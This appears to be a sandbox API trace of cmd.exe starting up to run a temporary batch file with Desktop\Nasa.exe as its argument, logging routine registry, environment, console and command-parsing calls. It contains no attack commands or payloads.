[0234.824] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x28fe44, dwLength=0x1c | out: lpBuffer=0x28fe44*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
[0234.824] VirtualQuery (in: lpAddress=0x191000, lpBuffer=0x28fe44, dwLength=0x1c | out: lpBuffer=0x28fe44*(BaseAddress=0x191000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
[0234.824] VirtualQuery (in: lpAddress=0x193000, lpBuffer=0x28fe44, dwLength=0x1c | out: lpBuffer=0x28fe44*(BaseAddress=0x193000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0234.824] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x28fe44, dwLength=0x1c | out: lpBuffer=0x28fe44*(BaseAddress=0x290000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x50000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
[0234.824] GetConsoleOutputCP () returned 0x1b5
[0234.824] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9d4260 | out: lpCPInfo=0x4a9d4260) returned 1
[0234.825] SetConsoleCtrlHandler (HandlerRoutine=0x4a9ce72a, Add=1) returned 1
[0234.825] _get_osfhandle (_FileHandle=1) returned 0x7
[0234.825] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
[0234.825] _get_osfhandle (_FileHandle=1) returned 0x7
[0234.825] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9d41ac | out: lpMode=0x4a9d41ac) returned 1
[0234.826] _get_osfhandle (_FileHandle=1) returned 0x7
[0234.826] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
[0234.827] _get_osfhandle (_FileHandle=0) returned 0x3
[0234.827] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9d41b0 | out: lpMode=0x4a9d41b0) returned 1
[0234.829] _get_osfhandle (_FileHandle=0) returned 0x3
[0234.830] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
[0234.830] GetEnvironmentStringsW () returned 0x3c4078*
[0234.830] GetProcessHeap () returned 0x3b0000
[0234.830] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xad8) returned 0x3c4b58
[0234.831] FreeEnvironmentStringsW (penv=0x3c4078) returned 1
[0234.831] GetProcessHeap () returned 0x3b0000
[0234.831] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4) returned 0x3c0d30
[0234.831] GetEnvironmentStringsW () returned 0x3c4078*
[0234.831] GetProcessHeap () returned 0x3b0000
[0234.831] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xad8) returned 0x3c5638
[0234.831] FreeEnvironmentStringsW (penv=0x3c4078) returned 1
[0234.831] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28ede4 | out: phkResult=0x28ede4*=0x68) returned 0x0
[0234.832] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x0, lpData=0x28edf0*=0x0, lpcbData=0x28ede8*=0x1000) returned 0x2
[0234.832] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x4, lpData=0x28edf0*=0x1, lpcbData=0x28ede8*=0x4) returned 0x0
[0234.832] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x0, lpData=0x28edf0*=0x1, lpcbData=0x28ede8*=0x1000) returned 0x2
[0234.832] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x4, lpData=0x28edf0*=0x0, lpcbData=0x28ede8*=0x4) returned 0x0
[0234.832] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x4, lpData=0x28edf0*=0x40, lpcbData=0x28ede8*=0x4) returned 0x0
[0234.832] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x4, lpData=0x28edf0*=0x40, lpcbData=0x28ede8*=0x4) returned 0x0
[0234.832] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x0, lpData=0x28edf0*=0x40, lpcbData=0x28ede8*=0x1000) returned 0x2
[0234.832] RegCloseKey (hKey=0x68) returned 0x0
[0234.833] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28ede4 | out: phkResult=0x28ede4*=0x68) returned 0x0
[0234.833] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x0, lpData=0x28edf0*=0x40, lpcbData=0x28ede8*=0x1000) returned 0x2
[0234.833] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x4, lpData=0x28edf0*=0x1, lpcbData=0x28ede8*=0x4) returned 0x0
[0234.833] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x0, lpData=0x28edf0*=0x1, lpcbData=0x28ede8*=0x1000) returned 0x2
[0234.833] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x4, lpData=0x28edf0*=0x0, lpcbData=0x28ede8*=0x4) returned 0x0
[0234.833] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x4, lpData=0x28edf0*=0x9, lpcbData=0x28ede8*=0x4) returned 0x0
[0234.833] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x4, lpData=0x28edf0*=0x9, lpcbData=0x28ede8*=0x4) returned 0x0
[0234.833] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28edec, lpData=0x28edf0, lpcbData=0x28ede8*=0x1000 | out: lpType=0x28edec*=0x0, lpData=0x28edf0*=0x9, lpcbData=0x28ede8*=0x1000) returned 0x2
[0234.833] RegCloseKey (hKey=0x68) returned 0x0
[0234.834] time (in: timer=0x0 | out: timer=0x0) returned 0x5f932957
[0234.834] srand (_Seed=0x5f932957)
[0234.834] GetCommandLineW () returned="cmd.exe /c \"\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe\" \""
[0234.834] GetCommandLineW () returned="cmd.exe /c \"\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe\" \""
[0234.835] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9d5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0234.836] GetProcessHeap () returned 0x3b0000
[0234.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x210) returned 0x3c4078
[0234.836] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3c4080, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
[0234.837] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9e0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
[0234.837] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9e0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
[0234.837] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a9e0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
[0234.837] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
[0234.837] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
[0234.837] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
[0234.837] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
[0234.837] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
[0234.838] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
[0234.838] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
[0234.838] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
[0234.838] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
[0234.838] GetProcessHeap () returned 0x3b0000
[0234.838] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4b58 | out: hHeap=0x3b0000) returned 1
[0234.838] GetEnvironmentStringsW () returned 0x3c4290*
[0234.838] GetProcessHeap () returned 0x3b0000
[0234.838] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xaf0) returned 0x3c6c10
[0234.838] FreeEnvironmentStringsW (penv=0x3c4290) returned 1
[0234.838] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a9e0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0234.838] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a9e0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
[0234.839] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
[0234.839] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
[0234.839] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
[0234.839] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
[0234.839] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
[0234.839] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
[0234.839] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
[0234.839] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
[0234.839] GetProcessHeap () returned 0x3b0000
[0234.839] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x54) returned 0x3c7708
[0234.839] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28fbb0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0234.839] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x28fbb0, lpFilePart=0x28fbac | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28fbac*="Desktop") returned 0x25
[0234.839] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
[0234.840] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28f92c | out: lpFindFileData=0x28f92c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x3c3ef8
[0234.840] FindClose (in: hFindFile=0x3c3ef8 | out: hFindFile=0x3c3ef8) returned 1
[0234.840] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x28f92c | out: lpFindFileData=0x28f92c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1e1f0e00, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x1e1f0e00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x3c3ef8
[0234.840] FindClose (in: hFindFile=0x3c3ef8 | out: hFindFile=0x3c3ef8) returned 1
[0234.840] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
[0234.841] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x28f92c | out: lpFindFileData=0x28f92c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3df310a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x3df310a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x3c3ef8
[0234.841] FindClose (in: hFindFile=0x3c3ef8 | out: hFindFile=0x3c3ef8) returned 1
[0234.841] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
[0234.841] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
[0234.841] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
[0234.841] GetProcessHeap () returned 0x3b0000
[0234.841] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c6c10 | out: hHeap=0x3b0000) returned 1
[0234.841] GetEnvironmentStringsW () returned 0x3c6118*
[0234.841] GetProcessHeap () returned 0x3b0000
[0234.842] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xb44) returned 0x3c7f68
[0234.842] FreeEnvironmentStringsW (penv=0x3c6118) returned 1
[0234.842] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9d5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0234.842] GetProcessHeap () returned 0x3b0000
[0234.842] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7708 | out: hHeap=0x3b0000) returned 1
[0234.842] GetProcessHeap () returned 0x3b0000
[0234.842] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400e) returned 0x3c8ab8
[0234.843] GetProcessHeap () returned 0x3b0000
[0234.843] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xdc) returned 0x3c4de0
[0234.843] GetProcessHeap () returned 0x3b0000
[0234.843] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4008) returned 0x3ccad0
[0234.844] GetProcessHeap () returned 0x3b0000
[0234.844] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x4008) returned 0x3d0ae0
[0234.845] GetProcessHeap () returned 0x3b0000
[0234.845] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8ab8 | out: hHeap=0x3b0000) returned 1
[0234.845] GetConsoleOutputCP () returned 0x1b5
[0234.846] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9d4260 | out: lpCPInfo=0x4a9d4260) returned 1
[0234.846] GetUserDefaultLCID () returned 0x409
[0234.847] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a9d4950, cchData=8 | out: lpLCData=":") returned 2
[0234.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x28fcf0, cchData=128 | out: lpLCData="0") returned 2
[0234.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x28fcf0, cchData=128 | out: lpLCData="0") returned 2
[0234.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x28fcf0, cchData=128 | out: lpLCData="1") returned 2
[0234.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a9d4940, cchData=8 | out: lpLCData="/") returned 2
[0234.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a9d4d80, cchData=32 | out: lpLCData="Mon") returned 4
[0234.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a9d4d40, cchData=32 | out: lpLCData="Tue") returned 4
[0234.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a9d4d00, cchData=32 | out: lpLCData="Wed") returned 4
[0234.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a9d4cc0, cchData=32 | out: lpLCData="Thu") returned 4
[0234.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a9d4c80, cchData=32 | out: lpLCData="Fri") returned 4
[0234.848] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a9d4c40, cchData=32 | out: lpLCData="Sat") returned 4
[0234.849] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a9d4c00, cchData=32 | out: lpLCData="Sun") returned 4
[0234.849] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a9d4930, cchData=8 | out: lpLCData=".") returned 2
[0234.849] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a9d4920, cchData=8 | out: lpLCData=",") returned 2
[0234.849] setlocale (category=0, locale=".OCP") returned="English_United States.437"
[0234.852] GetProcessHeap () returned 0x3b0000
[0234.852] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20c) returned 0x3c4ec8
[0234.852] GetConsoleTitleW (in: lpConsoleTitle=0x3c4ec8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0234.853] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000
[0234.853] GetProcAddress (hModule=0x76d30000, lpProcName="CopyFileExW") returned 0x76d63b92
[0234.853] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d
[0234.853] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleInputExeNameW") returned 0x76d5a79d
[0234.898] GetProcessHeap () returned 0x3b0000
[0234.898] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x400a) returned 0x3c8ab8
[0234.898] GetProcessHeap () returned 0x3b0000
[0234.898] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c8ab8 | out: hHeap=0x3b0000) returned 1
[0234.902] _wcsicmp (_String1="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\"", _String2=")") returned -7
[0234.902] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\"") returned 68
[0234.903] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\"") returned 68
[0234.903] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\"") returned 71
[0234.903] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\"") returned 71
[0234.903] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\"") returned 80
[0234.903] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\"") returned 80
[0234.903] GetProcessHeap () returned 0x3b0000
[0234.903] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x58) returned 0x3c50e0
[0234.903] GetProcessHeap () returned 0x3b0000
[0234.903] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x70) returned 0x3c5140
[0234.906] GetProcessHeap () returned 0x3b0000
[0234.906] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x6e) returned 0x3c51b8
[0234.907] GetConsoleTitleW (in: lpConsoleTitle=0x28f9e8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0234.908] GetFileAttributesW (lpFileName="\"C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\0WPAA36F.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrg~1\\appdata\\local\\temp\\0wpaa36f.bat\"")) returned 0xffffffff
[0234.908] _wcsicmp (_String1="\"C", _String2="DIR") returned -66
[0234.908] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67
[0234.908] _wcsicmp (_String1="\"C", _String2="DEL") returned -66
[0234.909] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82
[0234.909] _wcsicmp (_String1="\"C", _String2="COPY") returned -65
[0234.909] _wcsicmp (_String1="\"C", _String2="CD") returned -65
[0234.909] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65
[0234.909] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80
[0234.909] _wcsicmp (_String1="\"C", _String2="REN") returned -80
[0234.909] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67
[0234.909] _wcsicmp (_String1="\"C", _String2="SET") returned -81
[0234.909] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78
[0234.909] _wcsicmp (_String1="\"C", _String2="DATE") returned -66
[0234.909] _wcsicmp (_String1="\"C", _String2="TIME") returned -82
[0234.909] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78
[0234.909] _wcsicmp (_String1="\"C", _String2="MD") returned -75
[0234.909] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75
[0234.909] _wcsicmp (_String1="\"C", _String2="RD") returned -80
[0234.909] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80
[0234.909] _wcsicmp (_String1="\"C", _String2="PATH") returned -78
[0234.910] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69
[0234.910] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81
[0234.910] _wcsicmp (_String1="\"C", _String2="CLS") returned -65
[0234.910] _wcsicmp (_String1="\"C", _String2="CALL") returned -65
[0234.910] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84
[0234.910] _wcsicmp (_String1="\"C", _String2="VER") returned -84
[0234.910] _wcsicmp (_String1="\"C", _String2="VOL") returned -84
[0234.910] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67
[0234.910] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81
[0234.910] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67
[0234.910] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82
[0234.910] _wcsicmp (_String1="\"C", _String2="START") returned -81
[0234.910] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66
[0234.910] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73
[0234.910] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75
[0234.910] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78
[0234.910] _wcsicmp (_String1="\"C", _String2="POPD") returned -78
[0234.911] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63
[0234.911] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68
[0234.911] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64
[0234.911] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65
[0234.911] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75
[0234.911] _wcsicmp (_String1="\"C", _String2="DIR") returned -66
[0234.911] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67
[0234.911] _wcsicmp (_String1="\"C", _String2="DEL") returned -66
[0234.911] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82
[0234.911] _wcsicmp (_String1="\"C", _String2="COPY") returned -65
[0234.911] _wcsicmp (_String1="\"C", _String2="CD") returned -65
[0234.911] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65
[0234.911] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80
[0234.911] _wcsicmp (_String1="\"C", _String2="REN") returned -80
[0234.911] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67
[0234.911] _wcsicmp (_String1="\"C", _String2="SET") returned -81
[0234.911] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78
[0234.911] _wcsicmp (_String1="\"C", _String2="DATE") returned -66
[0234.912] _wcsicmp (_String1="\"C", _String2="TIME") returned -82
[0234.912] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78
[0234.912] _wcsicmp (_String1="\"C", _String2="MD") returned -75
[0234.912] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75
[0234.912] _wcsicmp (_String1="\"C", _String2="RD") returned -80
[0234.912] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80
[0234.912] _wcsicmp (_String1="\"C", _String2="PATH") returned -78
[0234.912] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69
[0234.912] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81
[0234.912] _wcsicmp (_String1="\"C", _String2="CLS") returned -65
[0234.912] _wcsicmp (_String1="\"C", _String2="CALL") returned -65
[0234.912] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84
[0234.912] _wcsicmp (_String1="\"C", _String2="VER") returned -84
[0234.912] _wcsicmp (_String1="\"C", _String2="VOL") returned -84
[0234.912] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67
[0234.912] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81
[0234.912] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67
[0234.912] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82
[0234.912] _wcsicmp (_String1="\"C", _String2="START") returned -81
[0234.913] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66
[0234.913] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73
[0234.913] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75
[0234.913] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78
[0234.913] _wcsicmp (_String1="\"C", _String2="POPD") returned -78
[0234.913] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63
[0234.913] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68
[0234.913] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64
[0234.914] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65
[0234.914] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75
[0234.914] _wcsicmp (_String1="\"C", _String2="FOR") returned -68
[0234.914] _wcsicmp (_String1="\"C", _String2="IF") returned -71
[0234.914] _wcsicmp (_String1="\"C", _String2="REM") returned -80
[0234.914] GetProcessHeap () returned 0x3b0000
[0234.914] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x210) returned 0x3c5230
[0234.914] GetProcessHeap () returned 0x3b0000
[0234.914] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xd6) returned 0x3c5448
[0234.918] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51
[0234.918] GetProcessHeap () returned 0x3b0000
[0234.918] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x418) returned 0x3b07f0
[0234.918] SetErrorMode (uMode=0x0) returned 0x0
